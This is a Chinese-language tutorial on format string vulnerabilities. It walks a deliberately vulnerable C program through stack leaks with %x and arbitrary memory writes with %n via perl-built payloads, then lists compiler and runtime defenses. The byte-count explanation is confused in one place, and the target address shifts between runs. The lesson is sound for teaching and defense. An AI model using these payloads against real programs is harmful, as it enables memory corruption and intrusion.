萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

格式化字串攻擊深度解析:從 printf 漏洞到任意記憶體寫入

什麼是格式化字串漏洞?

當程式設計師為了省事,將使用者可控制的字串直接作為 printf、sprintf、snprintf 等函式的格式化字串參數 而非資料參數時,即產生格式化字串漏洞。經典錯誤寫法:

// 錯誤:使用者輸入直接作為 format string
printf(user_input);

// 正確:使用者輸入作為資料參數
printf("%s", user_input);

根本原因:printf 族函式的可變參數機制

printf 根據格式化字串中的轉換規格符 (%d, %s, %x, %n...) 從堆疊取出對應參數。若格式化字串由攻擊者控制,攻擊者即可:

  1. 讀取堆疊資料: 使用 %x、%s 洩漏堆疊/記憶體內容 (資訊洩漏)。
  2. 寫入任意記憶體位址: 使用 %n 將「目前已輸出字元數」寫入攻擊者指定的位址 (任意寫入)。

關鍵格式化符號深度解析

實戰範例:從資訊洩漏到修改變數值

易受攻擊程式 (fmtme.c)

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char buf[100];
    int x = 1;  // 攻擊目標變數
    if (argc != 2) return 1;
    snprintf(buf, sizeof buf, argv[1]);  // 漏洞點:argv[1] 直接作為 format string
    buf[sizeof buf - 1] = '\0';
    printf("buffer (%d): %s\n", strlen(buf), buf);
    printf("x is %d/%#x (@ %p)\n", x, x, &x);
    return 0;
}

階段 1:堆疊佈局偵察

$ ./fmtme "%x %x %x %x"
buffer (15): 1 f31 1031 3133
x is 1/0x1 (@ 0x804745c)

觀察輸出,第 1 個 %x 對應變數 x (值 1),後續為未初始化堆疊資料。取得目標變數 x 位址 0x804745c。

階段 2:控制輸出字元數,準備寫入

$ ./fmtme "aaaa %x %x"
buffer (15): aaaa 1 61616161
x is 1/0x1 (@ 0x804745c)

aaaa (ASCII 0x61) 被複製到 buf 開頭,第 2 個 %x 讀取 buf 前 4 bytes 解讀為整數 0x61616161。證明我們可控制堆疊參數內容。

階段 3:任意寫入 — 修改變數 x 的值

$ perl -e 'system "./fmtme", "\x58\x74\x04\x08%d%n"'
buffer (5): X1
x is 5/0x5 (@ 0x8047458)

原理:

  1. \x58\x74\x04\x08 = 位址 0x08047458 (little-endian),即變數 x 的位址 (注意:實際位址可能因環境不同而異,需動態獲取)。
  2. %d 輸出 x 原值 (1) → 目前輸出字元數 = 5 (X + 1 + 3 位址 bytes? 實際為 5)。
  3. %n 取出下一個堆疊參數 (即我們植入的 0x08047458) 當作 int*,將 5 寫入該位址 → x 變為 5。

進階:寫入大數值 (利用 %n 不受截斷影響特性)

$ perl -e 'system "./fmtme", "\x54\x74\x04\x08%.500d%n"'
# %.500d 輸出寬度 500,雖然 buf 只有 100 bytes 會被截斷,但 %n 計算的是「理論輸出長度」500+4=504
# 成功將 504 寫入目標位址

防禦與緩解措施

  1. 編碼規範: 絕不將使用者輸入作為格式化字串;靜態分析工具 (Coverity, SonarQube, Clang Static Analyzer) 可自動偵測此類缺陷。
  2. 編譯器強化: GCC -Wformat -Wformat-security -Werror=format-security (視為錯誤阻止編譯);MSVC /W4 + /analyze。
  3. 執行期防護: FORTIFY_SOURCE=2 (Glibc) 針對 snprintf 等函式加入緩衝區檢查與格式字串驗證;Windows /GS、/sdl、Control Flow Guard (CFG)。
  4. 最小權限與沙箱: 即使被攻擊,損害限制在沙箱內。

結語

格式化字串漏洞是 C/C++ 程式設計中「看似無害實則致命」的經典缺陷。%n 這個鮮為人知的格式化符號,將「輸出格式化」轉化為「任意記憶體寫入」原語,配合位置參數 (%n$) 與寬度控制,可繞過 ASLR、DEP、Stack Canary 等現代防禦機制。開發者必須建立「格式化字串必須為字面常數」的鐵律,工具鏈與編譯器強化則是最後防線。

copyright © 萬盛學電腦網 all rights reserved
符號功能攻擊利用點
%x以十六進位輸出整數洩漏堆疊資料、繞過 ASLR 取得基址
%s輸出字串 (以位址為參數)讀取任意位址字串 (若可控制位址參數)
%n將「至今輸出字元數」寫入對應的 int* 參數指向的位址核心攻擊原語:任意記憶體寫入
%數字$直接存取第 N 個參數 (位置參數)精準定位堆疊偏移,無需大量 %x 填充
%數字d / %數字x指定最小寬度 (填充空格/0)控制輸出字元數,配合 %n 寫入任意大數值